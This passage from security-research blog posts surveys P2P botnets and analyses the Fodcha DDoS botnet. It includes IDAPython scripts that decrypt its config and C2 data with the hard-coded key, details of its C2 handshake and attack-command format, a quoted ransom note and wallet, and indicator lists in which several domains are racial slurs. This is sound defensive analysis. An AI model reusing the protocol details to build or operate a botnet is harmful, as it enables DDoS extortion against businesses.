Hajime是基于文件传递构建的P2P网络，每个Hajime在运行期间，会尝试寻找最新版本的 .i.xxx 和 atk.xxx 文件(比如：atk.arm7/.i.arm7)，这就给了我们评估“Hajime网络”中 CPU 分布情况的一个机会。当 Hajime 节点向我方询问哪些节点包含相应文件时，会得到一次 DHT.search 计数。当 Hajime 节点向我方请求下载相应文件时，会得到一次 uTP.Request 计数。两种文件，两种计数，汇总后就可以得到如下四张饼图分布情况：

基于以上饼图，我们可以确定，在 Hajime 网络中，MIPS 的宿主最多，远超其他类型宿主之和，而MIPSEL 的宿主节点最少。

如果考虑到 Hajime 曾集成过大量的漏洞用于传播，这个数据甚至可以在一定程度反应各类型CPU在智能设备中的分布情况。

Mozi

Mozi 起初是一个以 DDoS攻击为获益目标的P2P家族，后来还增加了挖矿获益的部分。其网络拓扑是以 DHT 协议为基础，构建起来的。更多的信息可以参考我们发布过的报告。

《Mozi, Another Botnet Using DHT》

《The Mostly Dead Mozi and Its’ Lingering Bots》

地理分布

从排名上看，第一严重是中国，第二严重是印度。前两年中印边境闹磨擦的时候，正赶上大量 Mozi 的节点从印度扫描国内设备，还闹的大家有些紧张。后来嘛，抓到人了，就又不那么紧张了。

FritzFrog

FritzFrog 是一个以挖矿为获益目标的 P2P 家族，其依托于 SSH服务构建起 P2P网络。由 akamai 最先披露。更多详细资料可参考下面的报告（有趣的是，它的收益钱包地址和 Mozi 有关）：

《FritzFrog: P2P Botnet Hops Back on the Scene》

地理分布

FritzFrog中的账户口令

由于 FritzFrog 的P2P机制是基于SSH实现的，所以爬取回来的数据中存在宿主机器口令组合，我们可以看一下口令组合的分布情况，统计一下哪些口令贡献了最多的宿主机

组合排名第一的是一个1 开头的密码，有看客能把它补全不？

Panchan

Panchan 是一个 Go 语言开发的 P2P 僵尸网络，以挖矿为获益手段，利用 SSH 弱口令为传播途径。其代码中包含大量日文片假名，这表明 Panchan 的开发者可以熟练使用日文。另一个有趣的点在于：它在监听端口上，利用协议复用的思路实现了一个交互控制台，允许管理员从网络上对节点进行一些简单的查询和管理工作。更多详细信息可参考如下报告：

《Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”》

地理分布

panchan 的日活长期稳定在两位数，相比其他几个动辄5位数日活的家族来说，感染规模并不算大。

别被美国的红色吓到，其实只有14个日活。

结论

本文利用跟踪数据，综合评估了各 P2P 型僵尸网络的规模和活跃情况，并从不同的跟踪数据中看到了一些网络安全以外的现象。

解决方案

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

Fodcha Is Coming Back, Raising A Wave of Ransom DDoS

Alex.Turing — Mon, 31 Oct 2022 14:00:00 GMT

Background

On April 13, 2022, 360Netlab first disclosed the Fodcha botnet. After our article was published, Fodcha suffered a crackdown from the relevant authorities, and its authors quickly responded by leaving "Netlab pls leave me alone I surrender" in an updated sample.No surprise, Fodcha's authors didn't really stop updating after the fraudulent surrender, and soon a new version was released.

In the new version, the authors of Fodcha redesigned the communication protocol and started to use xxtea and chacha20 algorithms to encrypt sensitive resources and network communications to avoid detection at the file & traffic level; at the same time, a dual-C2 scheme with OpenNIC domain as the primary C2 and ICANN domain as the backup C2 was adopted.

Relying on the strong N-day vulnerability integration capabilities, the comeback of Focha is just as strong as the previous ones. In our data view, in terms of scale, Fodcha has once again developed into a massive botnet with more than 60K daily active bots and 40+ C2 IPs, we also observed it can easily launch more than 1Tbps DDos traffic; in terms of attacks, Fodcha has an average of 100+ daily attack targets and more than 20,000 cumulative attacks, on October 11, Fodcha hit its record and attacked 1,396 unique targets in that single day.

While Fodcha was busy attacking various targets, it has not forgot to mess with us, we saw it using N3t1@bG@Y in one of it scan payload.

Timeline

Backed by our BotMon systems, we have kept good track of Fodcha's sample evolution and DDoS attack instructions, and below are the sample evolution and some important DDoS attack events we have seen. (Note: The Fodcha sample itself does not have a specific flag to indicate its version, this is the version number we use internally for tracking purposes)

On January 12, 2022, the first Fodcha botnet sample was captured.
April 13, 2022, Disclosure of the Fodcha botnet, containing versions V1, V2.
April 19, 2022, captured version V2.x, using OpenNIC's TLDs style C2
April 24, 2022, version V3, using xxtea algorithm to encrypt configuration information, adding ICANN's TLDs style C2, adding anti-sandbox & anti-debugging mechanism.
June 5, 2022, version V4, using structured configuration information, anti-sandboxing & anti-debugging mechanism were removed.
July 7, 2022, version V4.x with an additional set of ICANN C2.
On September 21, 2022, a well-known cloud service provider was attacked with traffic exceeding 1Tbps.

Botnet Size

In April, we confirmed that the number of Fodcha's global daily live bots was about 60,000 (refer to our other article). We don’t have accurate number of the current size, but suspect that the number of current active bots has not dropped, maybe more than 60,000 now.

There is a positive relationship between the size of a botnet and the number of C2 IPs, and the most parsimonious view is that "the larger the botnet, the more C2 infrastructure it requires. In April, there were 10 c2s to control the 60,000 bots; After that, we observed that the IPs corresponding to its C2 domains continued to increase. Using a simple dig command to query the latest C2 domain name yellowchinks.dyn, we can see it resolves to 44 IPs.

One likely reason for this is that their botnet is so large that they need to invest more IP resources in order to have a reasonable ratio between Bots and C2s to achieve load balancing.

DDoS Statistics

More C2 IPs cost more money, and it seems that the business is good as it has been very active launching ddos attacks.We have excerpted the data from June 29, 2022 to the present, and the attack trends and target area distribution are as follows.

We can see that the ddos attacks has been non-stop, and China and US have the most targets.

The time distribution of the attack instructions within 7 days is shown below, which shows that Fodcha launched DDoS attacks throughout 7 * 24 hours, without any obvious working time zone.

Sample Analysis

We have divided the captured samples into four major versions, of which V1and V2 have been analyzed in the previous blog, here we select the latest V4 series samples as the main object of analysis, their basic information is shown below.

MD5: ea7945724837f019507fd613ba3e1da9
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
LIB: uclibc
PACKER: None
version: V4

MD5: 899047ddf6f62f07150837aef0c1ebfb
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Lib: uclibc
Packer: None
Version: V4.X

When Fodcha's Bot executes, it will first check the operating parameters, network connectivity, whether the "LD_PRELOAD" environment variable is set, and whether it is debugged. These checks can be seen as a simple countermeasure to the typical emulator & sandbox.

When the requirements are met, it first decrypts the configuration information and print “snow slide” on the Console, then there are some common host behaviors, such as single instance, process name masquerading, manipulating watchdog, terminating specific port processes, reporting specific process information, etc. The following will focus on the decryption of configuration information, network communication, DDoS attacks and other aspects of Fodcha.

Decrypting configuration information (Config)

Fodcha uses a side-by-side Config organization in V2.X and V3, and a structured Config organization in V4 and V4.X. The following figure clearly shows the difference.

Although the organization of Config is different, their encryption methods are the same. As we can see by the constants referenced in the code snippet below, they use the xxtea algorithm with the key PJbiNbbeasddDfsc.

After inversion, we wrote the following IDAPYTHON script to decrypt the configuration information.

# md5: ea7945724837f019507fd613ba3e1da9
# requirement: pip install xxtea-py
# test: ida7.6_python3

import ida_bytes
import xxtea

BufBase=0x1F2B0
ConfBase=0x0001F1A0
key=b"PJbiNbbeasddDfsc"
for i in range(17):
    offset=ida_bytes.get_word(i*16+ConfBase+2)
    leng=ida_bytes.get_word(i*16+ConfBase+4)-offset
    buf=ida_bytes.get_bytes(BufBase+offset,leng)
    print("index:%d, %s" %(i,xxtea.decrypt(buf,key)))

The decrypted Config information is shown in the following table. You can see that index 11 still retains the aforementioned "surrender" egg, index 12 is worth mentioning, as it is the reporter server address to which Fodcha reports some process-specific information.

Index	Value
0	snow slide
1	/proc/
2	/stat
3	/proc/self/exe
4	/cmdline
5	/maps
6	/exe
7	/lib
8	/usr/lib
9	.ri
10	GET /geoip/?res=10&r HTTP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n
11	Netlab pls leave me alone I surrender
12	kvsolutions.ru
13	api.opennicproject.org
14	watchdog
15	/dev/
16	TSource Engine Query

Network communication

Fodcha's network communication has a very fixed feature at the code level: a perpetual While loop, with switch-case processing at each stage, so that the CFG graphs generated by each version of Fodcha's network protocol processing functions are highly similar in IDA.

In summary, Fodcha's network communication goes through the following four steps.

Decryption C2
DNS query
Establishing communication
Execute the command

0x1: Decrypting C2

Different versions of Fodcha support different types of C2. V2.X has only 1 group of OpenNIC C2; V3 & V4 have 1 group of OpenNIC C2 and 1 group of ICANN C2; and V4.X has the most, 1 group of OpenNIC C2 and 2 groups of ICANN C2, the following diagram shows the difference very clearly.

Although the types & numbers of C2 are different, their processing logic is almost the same as shown in the figure below.

Firstly, a C2 domain name is obtained through the C2_GET function, and then the corresponding IP of C2 is obtained through the DNS_QUERY function, where the first parameter of C2_GET is the C2 ciphertext data, and the second parameter is the length, while the second parameter of DNS_QUERY implies the type of C2.

A valid C2 domain name can be obtained through C2_GET, and its internal implementation can be divided into 2 steps.

First, the C2 ciphertext data must be decrypted.
Then they are constructed into a legitimate domain name.

Decrypting C2 ciphertext data

The C2 ciphertext data uses the same encryption method as the configuration information, i.e. xxtea, and the key is also

PJbiNbbeasddDfsc. The OpenNic C2 data can be decrypted by the following simple IDAPYTHON script.

#md5: 899047DDF6F62F07150837AEF0C1EBFB
import xxtea
import ida_bytes
import hexdump
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568)  # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
print(plaintext)

The decrypted C2 data is shown below, you can see that the C2 data consists of 2 parts, the front is the domain names, the back is the TLDs, they are separated by the "/" symbol in the red box.

Constructing a domain name

Fodcha has a specific domain name construction method, and the equivalent Python implementation is shown below.

# md5: 899047ddf6f62f07150837aef0c1ebfb
# requirement: pip install xxtea-py
# test: ida7.6_python3

import xxtea
import ida_bytes

def getcnt(length):
    cnt=1
    while True:
        cnt +=1
        calc=2
        
        for i in range(1,cnt):
            calc+=2+12*i%cnt
                    
        if calc +cnt==length-1:
            return cnt

                        
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568)  # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)

domains,tlds=plaintext.split(b'/')
domainList=domains.split(b',')
tldList=tlds.split(b',')

cnt=getcnt(len(domainList))

print("------------There're %d C2------------" %cnt)
coff=2
for i in range(0,cnt):
    if i ==0:
        c2Prefix=domainList[i+coff]
    else:
        coff+=12*i %cnt+2
        c2Prefix=domainList[i+coff]
    c2Tld=tldList[(cnt-i-1)*3]
    print(c2Prefix + b'.' + c2Tld)

Taking the C2 data obtained above as input, the following 14 OpenNIC C2s are finally constructed.

techsupporthelpars.oss
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
pepperfan.geek
chinkchink.libre
peepeepoo.libre
respectkkk.geek
bladderfull.indy
tsengtsing.libre
obamalover.pirate

Readers familiar with the ICANN domain name system may think at first glance that our decryption is wrong, because the ICANN domain name system does not support these TLDs, they would be "unresolvable", but in fact they are the domain names under the OpenNIC system, OpenNIC is independent of the OpenNIC, which supports the TLDs shown in the figure below. The domain names of OpenNIC cannot be resolved by common DNS (such as 8.8.8.8, 101.198.198.198) and must use the specified NameServer. Readers can check out OpenNIC’s official website for more details.

Using the same method, we can get the following 4 ICANN C2s.

cookiemonsterboob[.]com
forwardchinks[.]com
doodleching[.]com
milfsfors3x[.]com

0X2: DNS lookup

When the C2 domain name is successfully obtained, Bot performs the domain name resolution through the function DNS_QUERY, its 2nd parameter is a FLAG, which implies the different processing of OpenNIC/ICANN C2, and the corresponding code snippet is shown below.

It can be seen that there are 2 options for the resolution of OpenNIC C2.

Option 1: Request from api.opennicproject.org through API interface to get nameserver dynamically

Option 2: Use the hard-coded nameserver shown in the figure below

For ICANN C2, there is only one option, i.e., use the hard-coded nameserver shown in the figure below.

The actual resolution of C2 techsupporthelpars.oss, for example, is reflected in the network traffic as follows.

Why use OpenNIC / ICANN dual C2?

Fodcha's author has built a redundant OpenNIC / ICANN dual-C2 architecture, why did he do so?

From a C2 infrastructure perspective, after Fodcha was exposed, its C2 was added to various security lists. Quad9DNS (9.9.9.9), for example, had sent a tweet about Fodcha domain traffic spike

After Fodcha was cracked down, its author, when reselecting the C2 infrastructure, looked at the DNS Neutrality feature touted by OpenNIC to eliminate the possibility of C2 being regulated & taken over.

At the same time, OpenNIC based C2 has it own problems, such as the NameServer of OpenNIC may not be accessible in some regions, or there are efficiency or stability problems in domain name resolution. For the sake of robustness, Fodcha authors re-added ICANN C2 as the backup C2 after V3 to form a redundant structure with the main C2.

0x3: Establishing communication

Fodcha Bot establishes a connection to C2 through the following code snippet, which has a total of 22 ports.

Once the connection with C2 is successfully established, the Bot and C2 must go through 3 phases of interaction before communication is actually established.

Stage 1: Bot requests the key&nonce of the chacha20 encryption algorithm from C2.
Stage 2: Bot and C2 use the key&nonce from stage 1 for identity confirmation.
Stage 3: Bot sends the encrypted upline & group information to C2.

To aid in the analysis, we ran the Bot sample within a restricted environment and used fsdsaD as the packet string to generate the network traffic shown in the figure below, and the details of how this traffic was generated are described below.

Stage 1: Bot ---> C2 ,formatted as head(7 bytes) + body( random 20-40 bytes)

Bot actively sends an initialization message with netstage=6 to C2, this message has the format of head+body, and the meaning of each field is shown below.

head

The length of head is 7 bytes, and the format is shown below.

06     		---->netstage,1byte,06 means init
f0 70       ---->tcpip checksum, 2byte, 
00 16		---->length of body, 2 bytes

checksum

checksum
The checksum in head uses the tcp/ip checksum, which is calculated for the whole payload, and the original value of the checksum offset is \x00\x00, and the python implementation of the checksum is as follows.

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[-1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
        s = ~s & 0xffff
    return s

buf="\x06\x00\x00\x00\x00\x00\x16\x36\x93\x93\xb7\x27\x5c\x9a\x2a\x16\x09\xd8\x13\x32\x01\xd2\x69\x1d\x25\xf3\x42\x00\x32"
print(hex(checksum(buf)))

#hex(checksum(buf))
#0x70f0

body

body is a randomly generated content, meaningless.

00000000  36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69
00000010  1d 25 f3 42 00 32

Stage 1: C2-->Bot, 2 rounds

When C2 receives the message netstage=6 from Bot, it will send 2 rounds of data to BOT.

The first round, 36 bytes , the original message is encrypted by xxtea and decrypted as the key of chacha20, with the length of 32bytes

import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
keyBuf=bytes.fromhex("806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d")
chaKey=xxtea.decrypt(keyBuf,key)
hexdump.hexdump(chaKey)

#chaKey
00000000: E6 7B 1A E3 A4 4B 13 7F  14 15 5E 99 31 F2 5E 3A
00000010: D7 7B AB 0A 4D 5F 00 EF  0C 01 9F 86 94 A4 9D 4B

Second round, 16 bytes , the original message is encrypted by xxtea, decrypted as the nonce of chacha20, length 12bytes

import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
nonBuf=bytes.fromhex("22c803bb310c5b2512e76a472418f9ee")
chaNonce=xxtea.decrypt(nonBuf,key)
hexdump.hexdump(chaNonce)

#chaNonce
00000000: 98 79 59 57 A8 BA 7E 13  59 9F 59 6F

Stage 2: Bot--->C2, chacha20 encryption

Once Bot receives the key and nonce of chacha20, it sends the message netstage=4 to C2, this time the message is encrypted using chacha20, the key&nonce is obtained from the previous stage, the number of rounds encrypted is 1.

We can decrypt the above traffic using the following python code that

from Crypto.Cipher import ChaCha20
cha=ChaCha20.new(key=chaKey,nonce=chaNonce)
cha.seek(64)
tmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')
rnd3=cha.decrypt(tmp)

The decrypted traffic is shown below, it still has the format of head (7 bytes) + body as described before, where the value of the netstage field of head is 04, which represents the authentication.

Stage 2: C2 ---> Bot, chacha20 encryption

After receiving the authentication message from Bot, C2 also sends a message with netstage=4 to Bot's data, also using chacha20 encryption, and the key,nonce,round number is the same as that used by Bot.

Using the same code as Bot to decrypt the traffic, we can see that its format is also head+body, and the value of netstage is also 04.

After Bot and C2 send each other the message netstage=4, the chacha20 key&nonce representing stage 1 is recognized by both parties, and the authentication of each other is completed, and Bot enters the next stage to prepare to go online.

Stage 3: Bot--->C2, 2 rounds, chacha encryption

Bot sends netstage=5 message to C2 to indicate that it is ready to go online, and then reports its own grouping information to C2, these 2 rounds of messages also use chacha20 encryption.

First round
Second round

After the above two rounds of data decryption, we can see that the content of the group is exactly the preset fsdsaD, which means our analysis is correct, so the Bot is successfully online and starts to wait for the execution of the command sent by C2.

0x4: Execute command

Bot successfully online, support the netstage number, as shown in the figure below, the most important is the netstage = 1 on behalf of the DDoS task, Fodcha reuse a large number of Mirai attack code, a total of 17 kinds of attack methods are supported.

Take the following DDos_Task traffic (netstage=01) as an example.

The attack instructions are still encrypted using chacha20, and the decrypted instructions are shown below, which might ring a bell for readers who are familiar with Mirai.

00000000: 00 00 00 3C 07 01 xx 14  93 01 20 02 00 00 02 01
00000010: BB 01 00 02 00 01

The format and parsing of the above attack instructions are shown in the following table.

offset	len (bytes)	value	meaning
0x00	4	00 00 00 3c	Duration
0x04	1	07	Attack Vector，07
0x05	1	1	Attack Target Cnt
0x06	4	xx 14 93 01	Attack Target，xx.20.147.1
0x0a	1	20	Netmask
0x0b	1	02	Option Cnt
0x0c	5	00 00 02 01 bb	OptionId 0，len 2, value 0x01bb ---> (port 443)
0x11	5	01 00 02 00 01	OptionId 1, len 2, value 0x0001---> (payload len 1 byte)

When Bot receives the above instruction, it will use the tcp message with a payload of 1 byte to conduct a DDoS attack on the target xx.20.147.1:443, which corresponds to the actual packet capture traffic.

Misc

0x01: Racism

From some of the OpenNIC C2 constructs, it seems that the author of Fodcha is more hostile to people from some regions.

yellowchinks.geek
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
bladderfull.indy

wehateyellow

0x02: Ransom DDoS

Fodcha had the following string attached to the UDP attack command it issued.

send 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business

The corresponding attack traffic is shown below, the wallet address appears to be illegal, perhaps the operators behind Fodcha are experimenting with the attack-as-ransom business model, we will see how it evolve.

Contact us

Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.

IoC

C2

v1,v2:
folded[.]in
fridgexperts[.]cc

ICANN C2:
forwardchinks[.]com
doodleching[.]com
cookiemonsterboob[.]com
milfsfors3x[.]com

OpenNIC C2:

yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
tsengtsing.libre
techsupporthelpars.oss
respectkkk.geek
pepperfan.geek
peepeepoo.libre
obamalover.pirate
funnyyellowpeople.libre
chinksdogeaters.dyn
chinkchink.libre
bladderfull.indy
blackpeeps.dyn
91.206.93.243
91.149.232.129
91.149.232.128
91.149.222.133
91.149.222.132
67.207.84.82
54.37.243.73
51.89.239.122
51.89.238.199
51.89.176.228
51.89.171.33
51.161.98.214
46.17.47.212
46.17.41.79
45.88.221.143
45.61.139.116
45.41.240.145
45.147.200.168
45.140.169.122
45.135.135.33
3.70.127.241
3.65.206.229
3.122.255.225
3.121.234.237
3.0.58.143
23.183.83.171
207.154.206.0
207.154.199.110
195.211.96.142
195.133.53.157
195.133.53.148
194.87.197.3
194.53.108.94
194.53.108.159
194.195.117.167
194.156.224.102
194.147.87.242
194.147.86.22
193.233.253.93
193.233.253.220
193.203.12.157
193.203.12.156
193.203.12.155
193.203.12.154
193.203.12.151
193.203.12.123
193.124.24.42
192.46.225.170
185.45.192.96
185.45.192.227
185.45.192.212
185.45.192.124
185.45.192.103
185.198.57.95
185.198.57.105
185.183.98.205
185.183.96.7
185.143.221.129
185.143.220.75
185.141.27.238
185.141.27.234
185.117.75.45
185.117.75.34
185.117.75.119
185.117.73.52
185.117.73.147
185.117.73.115
185.117.73.109
18.185.188.32
18.136.209.2
178.62.204.81
176.97.210.176
172.105.59.204
172.105.55.131
172.104.108.53
170.187.187.99
167.114.124.77
165.227.19.36
159.65.158.148
159.223.39.133
157.230.15.82
15.204.18.232
15.204.18.203
15.204.128.25
149.56.42.246
139.99.166.217
139.99.153.49
139.99.142.215
139.162.69.4
138.68.10.149
137.74.65.164
13.229.98.186
107.181.160.173
107.181.160.172

Reporter

kvsolutions[.]ru
icarlyfanss[.]com

Samples

ea7945724837f019507fd613ba3e1da9
899047ddf6f62f07150837aef0c1ebfb
0f781868d4b9203569357b2dbc46ef10

卷土重来的DDoS狂魔：Fodcha僵尸网络再次露出獠牙

Alex.Turing — Thu, 27 Oct 2022 02:49:26 GMT

背景

2022年4月13日，360Netlab首次向社区披露了Fodcha僵尸网络，在我们的文章发表之后，Fodcha遭受到相关部门的打击，其作者迅速做出回应，在样本中留下Netlab pls leave me alone I surrender字样向我们投降。本以为Fodcha会就此淡出江湖，没想到这次投降只是一个不讲武德的假动作，Fodcha的作者在诈降之后并没有停下更新的脚步，很快就推出了新版本。

在新版本中，Fodcha的作者重新设计了通信协议，并开始使用xxtea和chacha20算法对敏感资源和网络通信进行加密，以躲避文件&流量层面的检测；同时引入了OpenNIC 域名做为主选C2，ICANN 域名做为后备C2的双C2方案。这种冗余机制，既能防止C2被接管，又有良好的健壮性，能够维持其主控网络的稳定。

依托于背后团队强大的N-day漏洞整合能力，卷土重来的Focha与之前对比可谓有过之而无不及。在我们的数据视野中，从规模来看，Fodcha再次发展成日活Bot节点数超过60K，C2域名绑定40+IP，可以轻松打出超过1Tbps流量的大规模僵尸网络；就活跃程度而言，Fodcha日均攻击目标100+，累计攻击目标2万多，在10月11日到达了攻击的巅峰，单日“丧心病狂”的攻击了1396个目标。

在极短的时间内重回巅峰，Fodcha的作者似乎忘了闷声发大财的道理，竟然又开始主动"招惹”我们，在某次扫描的脚本中使用N3t1@bG@Y字样的leetspeak，翻译过来就是"NETLABGAY"，这么明目张胆的黑Netlab，让我们觉得它多多少少有些“皮痒”了。

鉴于Fodcha的规模&活跃程度带来的巨大危险性，以及非常嚣张的挑衅，我们决定撰写本文向社区分享我们的发现，一起打击Fodcha的嚣张气焰，共同维护网络安全。

时间线

依托于360Netlab强大的BotMon和DDoSMon系统，我们对Fodcha的样本演变和DDoS攻击指令一直保持着良好跟踪，下面是我们看到的样本演变以及一些重要的DDoS攻击事件。（注：Fodcha样本本身没有特定的标志表明其版本，这是我们内部为了跟踪方便而定的版本号）

2022年1月12日，首次捕获到Fodcha僵尸网络样本。
2022年4月13日，首次向外披露Fodcha僵尸网络，包含版本V1，V2。
2022年4月19日，捕获版本V2.x，使用OpenNIC's TLDs风格的C2（全文简称OpenNIC C2）。
2022年4月24日，捕获版本V3，使用xxtea算法加密配置信息，新增ICANN's TLDs风格的C2（全文简称ICANN C2），和OpenNIC C2构成冗余机制；新增反沙箱&反调试机制。
2022年6月5日，捕获版本V4，使用结构化的配置信息，去除反沙箱&反调试机制。
2022年6月7&8日，监控到Fodcha对某国的某地的健康码机构进行了DDoS攻击。
2022年7月7日，捕获版本V4.x，额外新增一组ICANN C2。
2022年9月X日，在协助某国的某执法机构固定某公司语音业务被DDoS攻击的证据链过程中，发现攻击背后有Fodcha的影子。
2022年9月21日，某知名云服务商就一起流量超过1Tbps的攻击事件向我们咨询，经过数据的交叉比对，确定攻击方为Fodcha。

规模推测

国外合作伙伴的数据表明Fodcha 4月份时全球日活Bot的数量为6W(参考我们另一篇文章)，关于Fodcha僵尸网络的目前规模，我们没有确切的数字，但通过对比Fodcha 4月和10月在C2 IP数量上的差异，我们从技术上出发，有个未经验证的猜测：目前Fodcha的日活Bot数量超过6W。

推测过程如下：
僵尸网络的规模与C2 IP的数量存在一个正向关系，最朴素的观点是：“僵尸网络规模越大，所需要的C2基础设施也越多”。在4月份，Fodcha被处置之前，其作者为维持6W的规模，投入了10个C2 IP；随后Fodcha开始了自己的复活之旅，我们观察到一个现象，随着Fodcha的复苏，其C2域名对应的IP在持续增加。时至今日，Fodcha的作者投入了多少C2 IP呢？使用dig命令查询最新的C2域名yellowchinks.dyn的绑定IP，可以看到数量是44。

可以说我们见证了Fodcha的C2 IP一步步从几个增长到今天的40+，可能的解释是作者人傻钱多无脑上资源，但结合其迅猛的传播以及历史上曾看到的万级规模，他们增加C2 IP更可能的原因是因为其僵尸网络规模太大，需要投入更多的IP资源，以使Bot与C2之间在数量上有一个合理比例，达到负载均衡。

综上，我们从C2 IP数量上大幅度的增长，推测目前Fodcha的规模大于4月份，日活Bot数量超过6W。当然再合理的推测也还是假设，欢迎有视野的社区伙伴不吝指正。

DDoS统计

回到C2 IP 44这个数字本身，纵然我们和僵尸网络battle多年见多识广，但这个数字依然让我们感到惊讶。世上没有无缘故的爱，光是这些IP资源，就得花费不少的，Fodcha的作者为什么愿意花这个钱呢？答案是DDoS攻击让他赚到了钱。我们节选了2022年6月29至今的数据，其攻击趋势和目标区域分布如下：

可以看出：

无愧于DDoS狂魔的称号，攻击几乎没有停歇，几乎打遍全球，日均攻击事件1K+。
中美两国颜色较深，说明两国累计被攻击目标及次数较多，综合考虑到两国在互联网上业务的比重原本就比较大，这里的“看起来多”是一种正常状况。

攻击指令在7天内的时间分布如下所示，可以看出Fodcha发起的DDoS攻击遍及7 * 24小时，没有明显的时区性，我们倾向Fodcha是一个商业驱动的僵尸网络。

样本分析

我们将捕获的样本分成了４个大版本，其中在上一篇blog中已经分析过V1V2，此处就不再赘述了，本文选取最新的V4系列样本为主要分析对象，它们的基本信息如下所示：

MD5: ea7945724837f019507fd613ba3e1da9
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
LIB: uclibc
PACKER: None
version: V4

MD5: 899047ddf6f62f07150837aef0c1ebfb
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Lib: uclibc
Packer: None
Version: V4.X

Fodcha的Bot在被侵入设备运行时，首先会从运行参数，网络的连通性，是否设置“LD_PRELOAD”环境变量，自身是否被调试等方面进行检查，如果不满足要求就直接退出，这些检查可以看成是一种对通过模拟器&沙箱提取IOC的简单对抗。

当满足要求运行要求时，则首先解密出配置信息，在Console上输出snow slide，然后就是一些常见的主机行为，如单一实例，进程名伪装，操控watchdog，清空特定端口进程，上报特定进程信息等，我们认为这些主机侧的功能没有太多亮点，因此不再展开分析，下文将着重从解密配置信息，网络通信，DDoS攻击等方面对Fodcha进行剖析。

解密配置信息(Config)

Fodcha在V2.X，V3使用并列的Config组织方式，而在V4,V4.X中则使用结构化的Config组织方式，下图非常清楚的显示了它们的区别。

虽然Config的组织方法不一样，但它们的加密方法是一样的，通过下面代码片段引用的常量可知，它们使用的是xxtea算法，密钥为PJbiNbbeasddDfsc。

经过逆向，我们编写了以下IDAPYTHON脚本来解密配置信息。

# md5: ea7945724837f019507fd613ba3e1da9
# requirement: pip install xxtea-py
# test: ida7.6_python3

import ida_bytes
import xxtea

BufBase=0x1F2B0
ConfBase=0x0001F1A0
key=b"PJbiNbbeasddDfsc"
for i in range(17):
    offset=ida_bytes.get_word(i*16+ConfBase+2)
    leng=ida_bytes.get_word(i*16+ConfBase+4)-offset
    buf=ida_bytes.get_bytes(BufBase+offset,leng)
    print("index:%d, %s" %(i,xxtea.decrypt(buf,key)))

解密后的Config信息如下表所示，可以看到index 11还保留着“投降”的彩蛋，另外值得一提的是index 12，它是reporter服务器地址，Fodcha会将一些特定进程的信息上报给它。

Index	Value
0	snow slide
1	/proc/
2	/stat
3	/proc/self/exe
4	/cmdline
5	/maps
6	/exe
7	/lib
8	/usr/lib
9	.ri
10	GET /geoip/?res=10&r HTTP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n
11	Netlab pls leave me alone I surrender
12	kvsolutions.ru
13	api.opennicproject.org
14	watchdog
15	/dev/
16	TSource Engine Query

网络通信

Fodcha的网络通信在代码层面有一个非常固定的特点：一个永真的While循环，通过switch-case进行各个阶段的处理，因此Fodcha各个版本的网络协议处理函数在IDA中产生的CFG图高度相似，这个特点可以帮助我们对样本进行辨别，对功能快速定位。

总的来说，Fodcha的网络通信要经过以下4个步骤：

解密C2
DNS查询
建立通信
执行指令

0x1: 解密C2

Fodcha的不同版本支持的C2种类是不一样的，V2.X只有1组OpenNIC C2；V3&V4拥有1组OpenNIC C2，1组ICANN C2；而V4.X则是最多的，1组OpenNIC C2，2组ICANN C2，下面的图非常清楚的显示了它们的区别。

虽然C2种类&数量不一样，但是它们的处理逻辑如下图所示，几乎是一样的，首先通过C2_GET函数获得一个C2域名，然后通过DNS_QUERY函数获得C2对应的IP，其中C2_GET的第一个参数为C2密文数据，第2个参数为长度，而DNS_QUERY的第2个参数则暗示了C2的类型。

通过C2_GET可以获得一个有效的C2域名，它内部的实现可以分成2步：

首先得解密C2密文数据。
然后将它们构造成一个合法的域名。

解密C2密文数据

C2的密文数据使用了配置信息一样的加密方式，即xxtea，密钥也是PJbiNbbeasddDfsc，通过下面简单的IDAPYTHON脚本，即可解密出OpenNic C2数据。

#md5: 899047DDF6F62F07150837AEF0C1EBFB
import xxtea
import ida_bytes
import hexdump
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568)  # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
print(plaintext)

解密后的C2数据如下图所示，可以看出C2数据由2部分组成，前面的是domain names，后面是TLDs，它们通过红框中的“/”符号分隔。

构造域名

Fodcha有一个特定的域名构造方法，等效的Python实现如下所示：

# md5: 899047ddf6f62f07150837aef0c1ebfb
# requirement: pip install xxtea-py
# test: ida7.6_python3

import xxtea
import ida_bytes

def getcnt(length):
    cnt=1
    while True:
        cnt +=1
        calc=2
        
        for i in range(1,cnt):
